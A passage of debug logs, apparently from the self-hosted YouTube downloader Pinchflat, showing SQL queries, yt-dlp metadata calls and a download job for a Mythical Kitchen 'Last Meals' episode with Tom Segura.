= true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:46:44.956 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=10.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 20:46:44.956 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:44.957 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.957 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.958 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:46:44.959 [debug] Current batch of media processed. Will check again in 1000ms 20:46:44.959 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.959 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.959 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:44.960 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/1a/971ad8a9d26e286e0c89b0160a02734402a1531c1178a6dacfb161a9fc59eb21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:45.959 [debug] Current batch of media processed. Will check again in 1000ms 20:46:46.960 [debug] Current batch of media processed. Will check again in 1000ms 20:46:47.025 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/6d/43/6d43a4b9bbdcf571f819311cc0b29e74e4e3bd995f65c8bb7514022a9264743c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:46:47.026 [debug] Running yt-dlp command for action: get_source_metadata 20:46:47.026 [debug] QUERY OK source="settings" db=0.0ms idle=968.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.026 [debug] QUERY OK source="settings" db=0.0ms idle=968.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.026 [debug] QUERY OK source="settings" db=0.0ms idle=968.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.026 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --skip-download --convert-thumbnails jpg --output /tmp/pinchflat/data/7eda6b32222cfe7e/source_image.%(ext)S --write-thumbnail --playlist-items 1 --print-to-file playlist:%()j /tmp/pinchflat/data/67/83/6783651c114c7680bcd2a6abe624d31d0dabb29f73a4173e9198c9d655e2d57a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:47.962 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Tom Segura eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Tom's Last Meal\n0:20 Call Him \"Dead Hand\"\n2:21 How To Deal With Hecklers\n3:24 Have You Thought About Your Last Meal Before?\n4:42 First Course\n5:55 Kids Are Expensive\n6:27 Bad Thoughts\n7:45 Rating Traumatic Experiences\n12:08 Working For America's Most Wanted\n13:45 2nd Course\n14:52 Hypothetical Country Star Responsible For Horrible Crimes\n16:01 Inappropriate Vietnam War Stories With Dad\n18:47 Bizzarely Loyal\n19:47 Jokes At The Funeral\n22:20 3rd Course\n23:35 Surviving Explosions In Peru\n27:40 It's A Bummer To Explain Jokes\n29:30 4th Course\n30:21 Not Wanting To Live Past 70\n31:30 Changing His Lifestyle \n34:45 Bert Kreischer Is A Unit\n36:41 5th Course\n37:15 \"The World Goes On\"\n38:51 Hiding YouTube From His Kids\n40:40 What Do You Think Happens When You Die?\n40:56 Lightning Round\n43:22 Tom's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2633, "filename" => "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", "id" => "A1Ij6ypJQyY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=A1Ij6ypJQyY", "playlist_index" => 1, "timestamp" => 1747735214, "title" => "Tom Segura Eats His Last Meal", "upload_date" => "20250520"} 20:46:47.962 [debug] QUERY OK source="sources" db=0.3ms idle=1013.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:46:47.963 [debug] QUERY OK source="sources" db=0.3ms idle=936.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:47.964 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=937.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 10:00:14Z], 1] 20:46:47.968 [debug] QUERY OK source="media_items" db=2.9ms idle=938.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Tom Segura eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Tom's Last Meal\n0:20 Call Him \"Dead Hand\"\n2:21 How To Deal With Hecklers\n3:24 Have You Thought About Your Last Meal Before?\n4:42 First Course\n5:55 Kids Are Expensive\n6:27 Bad Thoughts\n7:45 Rating Traumatic Experiences\n12:08 Working For America's Most Wanted\n13:45 2nd Course\n14:52 Hypothetical Country Star Responsible For Horrible Crimes\n16:01 Inappropriate Vietnam War Stories With Dad\n18:47 Bizzarely Loyal\n19:47 Jokes At The Funeral\n22:20 3rd Course\n23:35 Surviving Explosions In Peru\n27:40 It's A Bummer To Explain Jokes\n29:30 4th Course\n30:21 Not Wanting To Live Past 70\n31:30 Changing His Lifestyle \n34:45 Bert Kreischer Is A Unit\n36:41 5th Course\n37:15 \"The World Goes On\"\n38:51 Hiding YouTube From His Kids\n40:40 What Do You Think Happens When You Die?\n40:56 Lightning Round\n43:22 Tom's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Tom Segura Eats His Last Meal", "4b569fef-a468-493a-bdea-aac6b16ce2f3", "https://www.youtube.com/watch?v=A1Ij6ypJQyY", false, "A1Ij6ypJQyY", 2633, false, 1, "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", false, false, 1, [], 0, ~U[2025-05-20 10:00:14Z], ~U[2026-03-28 00:46:47Z], ~U[2026-03-28 00:46:47Z], "Today, Tom Segura eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Tom's Last Meal\n0:20 Call Him \"Dead Hand\"\n2:21 How To Deal With Hecklers\n3:24 Have You Thought About Your Last Meal Before?\n4:42 First Course\n5:55 Kids Are Expensive\n6:27 Bad Thoughts\n7:45 Rating Traumatic Experiences\n12:08 Working For America's Most Wanted\n13:45 2nd Course\n14:52 Hypothetical Country Star Responsible For Horrible Crimes\n16:01 Inappropriate Vietnam War Stories With Dad\n18:47 Bizzarely Loyal\n19:47 Jokes At The Funeral\n22:20 3rd Course\n23:35 Surviving Explosions In Peru\n27:40 It's A Bummer To Explain Jokes\n29:30 4th Course\n30:21 Not Wanting To Live Past 70\n31:30 Changing His Lifestyle \n34:45 Bert Kreischer Is A Unit\n36:41 5th Course\n37:15 \"The World Goes On\"\n38:51 Hiding YouTube From His Kids\n40:40 What Do You Think Happens When You Die?\n40:56 Lightning Round\n43:22 Tom's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Tom Segura Eats His Last Meal", "https://www.youtube.com/watch?v=A1Ij6ypJQyY", "A1Ij6ypJQyY", 2633, false, "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", false, 1, ~U[2025-05-20 10:00:14Z]] 20:46:47.969 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:47.970 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:47.971 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 20:46:47.971 [info] Kicking off download for media item #1 (A1Ij6ypJQyY) 20:46:47.973 [debug] QUERY OK source="tasks" db=0.4ms idle=3.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [4, 1, ~U[2026-03-28 00:46:47Z], ~U[2026-03-28 00:46:47Z]] 20:46:47.974 [debug] Current batch of media processed. Will check again in 1000ms 20:46:47.981 [info] {"args":{"id":1},"id":4,"meta":{},"system_time":1774658807980733805,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:46:47.981 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=9.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1] 20:46:47.982 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:46:47.982 [debug] QUERY OK source="sources" db=0.3ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:46:47.983 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:47.984 [debug] QUERY OK source="media_items" db=0.4ms idle=9.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 20:46:47.985 [debug] QUERY OK source="media_metadata" db=0.1ms queue=0.1ms idle=4.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1] 20:46:47.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:46:47.986 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.986 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.986 [debug] Running yt-dlp command for action: get_downloadable_status 20:46:47.987 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.987 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.987 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:47.987 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=A1Ij6ypJQyY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/dd/20/dd20c401eb8835c47a198cdc47e48ca4f222f34d0b4c0f68a3a35f0680b533a3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:46:48.871 [info] GET / 20:46:48.871 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"onboarding" => "0"} Pipelines: [:browser] 20:46:48.871 [debug] QUERY OK source="settings" db=0.0ms idle=885.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:48.871 [debug] QUERY OK source="settings" db=0.0ms idle=885.4ms UPDATE "settings" SET "onboarding" = ? WHERE "id" = ? [false, 1] 20:46:48.871 [debug] QUERY OK source="settings" db=0.0ms idle=884.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:46:48.872 [debug] QUERY OK source="media_profiles" db=0.0ms idle=884.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:46:48.872 [debug] QUERY OK source="sources" db=0.0ms idle=884.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:46:48.872 [debug] QUERY OK source="media_items" db=0.0ms idle=0.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:46:48.872 [debug] QUERY OK source="media_items" db=0.0ms idle=0.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:46:48.872 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 